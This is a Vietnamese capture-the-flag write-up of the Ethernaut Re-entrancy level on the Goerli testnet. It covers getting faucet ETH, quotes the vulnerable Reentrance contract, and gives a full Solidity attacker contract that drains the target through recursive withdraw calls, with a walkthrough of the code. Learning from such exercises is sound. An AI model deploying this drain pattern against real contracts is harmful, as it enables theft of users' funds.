

Re-entrancy


1. Thực hiện việc kiểm ETH:

Sử dụng: <https://goerli-faucet.pk910.de/> - để lấy được một số ETH cho ví bằng cách:

- + Điền ETH address của mình vào:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



`0x92141B14ddB92C256eFB3f1F464b042164570Af9`

- + Sau đó start Mining:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Target Address:

0x92141B14ddb92C256eFB3f1F464b042164570Af9

Your Mining Reward:

0 GöETH

Current Hashrate:

0 H/s

Number of Workers:

0 / 4



Minimum Claim Reward:

0.02 GöETH

Maximum Claim Reward:

1 GöETH

Remaining Session Time:

11h 59min

Total Shares:

0

Avg. Reward per Hour:

0 GöETH/h

Reward Boost:

+ 0%

Boost

Stop Mining

- + Trong trường hợp máy lag hoặc muốn tăng công suất có thể thêm và giảm bớt công việc tại Number of Workers.

- + Đến khi kiểm đủ số lượng có thể rút thì có thể dừng lại và nhận ETH

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: 2023-08-11 20:21 (23h 47min)
Captcha:



Tôi không phải là người
máy



reCAPTCHA
Bảo mật - Điều khoản

Claim Rewards

Goerli PoW Faucet


The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: -

Claim Transaction has been confirmed in block #9494425!

TX: [0xee3c472ae50e02f9a46b354ce2e18e02b83fa546079f95b3f392042e5e457d6b](#)

Did you like the faucet? Give that project a  Star **1,713**

Or support this faucet by sharing your result with a  Tweet  Post

[Return to startpage](#)

=> Và ta đã có đủ số ETH để tiếp tục tham ra vào Ethernaut

2. Xác định yêu cầu đề bài:

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

Untrusted contracts can execute code where you least expect it.

Fallback methods

Throw/revert bubbling

Sometimes the best way to attack a contract is with another contract.

See the "?" page above, section "Beyond the console"

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

    using SafeMath for uint256;
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }

    function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value:_amount}("");
            if(result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}
```

3. Giải quyết bài toán

Tham khảo code tại:

https://www.youtube.com/watch?v=K8AFyNiuTXs&ab_channel=SmartContractProgrammer

Ta tạo một hợp đồng trên Remix IDE như sau:

```

1  pragma solidity ^0.8;
2
3  interface IReentrancy {
4      function donate(address) external payable;
5      function withdraw(uint256) external;
6  }
7
8  contract Hack {
9      IReentrancy private immutable target;
10
11     constructor(address _target) {
12         target = IReentrancy(_target);
13     }
14
15     // NOTE: attack cannot be called inside constructor
16     function attack() external payable {
17         target.donate{value: 1e18}(address(this));
18         target.withdraw(1e18);
19
20         require(address(target).balance == 0, "target balance > 0");
21         selfdestruct(payable(msg.sender));
22     }
23
24     receive() external payable {
25         uint256 amount = min(1e18, address(target).balance);
26         if (amount > 0) {
27             target.withdraw(amount);
28         }
29     }
30
31     function min(uint256 x, uint256 y) private pure returns (uint256) {
32         return x <= y ? x : y;
33     }
34 }

```

Ta có thể giải thích về đoạn code trên như sau:

Đoạn code trên là một cuộc tấn công "reentrancy" trong môi trường Ethereum, trong đó một hợp đồng độc hại cố gắng tấn công một hợp đồng khác bằng cách lợi dụng việc rút tiền lặp đi lặp lại. Đây là cuộc tấn công khá nổi tiếng

<https://www.gemini.com/cryptopedia/the-dao-hack-makerdao#section-the-dao-hack>

- Hợp đồng có một biến target kiểu IReentrancy là một hợp đồng mục tiêu, được khai báo là immutable để đảm bảo rằng giá trị của biến này không thể thay đổi sau khi được gán trong hàm tạo.
- Trong hàm tạo (constructor), hợp đồng nhận một địa chỉ _target của hợp đồng mục tiêu và gán cho biến target.
- Hàm attack(): Đây là hàm chính của cuộc tấn công. Khi được gọi, hợp đồng tấn công gửi Ether đến hợp đồng mục tiêu thông qua hàm donate, sau đó rút tiền ra từ hợp đồng mục tiêu thông qua hàm withdraw. Sau đó, hợp đồng kiểm tra xem số dư của hợp đồng mục tiêu có bằng 0 không. Nếu có, nó tự hủy bản thân và chuyển Ether về cho người gửi.

- Hàm `receive()`: Đây là một hàm thường được gọi khi hợp đồng nhận Ether. Trong trường hợp này, nó cố gắng rút một số tiền từ hợp đồng mục tiêu bằng cách gọi hàm `withdraw`.
- Hàm `min(uint256 x, uint256 y)`: Hàm này trả về giá trị nhỏ hơn hoặc bằng của hai số.

Sau khi Deploy ta có thể Tắt công và sau đó kiểm tra lại hợp đồng:

```
> await getBalance(contract.address)
< '0'
```

Bước cuối cùng là Submit level

```
=>^.= Submitting level instance... <<<PLEASE WAIT>>>
```

```
< Sent transaction < https://goerli.etherscan.io/tx/0xed5f80c...
```

```
< Mined transaction < https://goerli.etherscan.io/tx/0xed5f80c...
```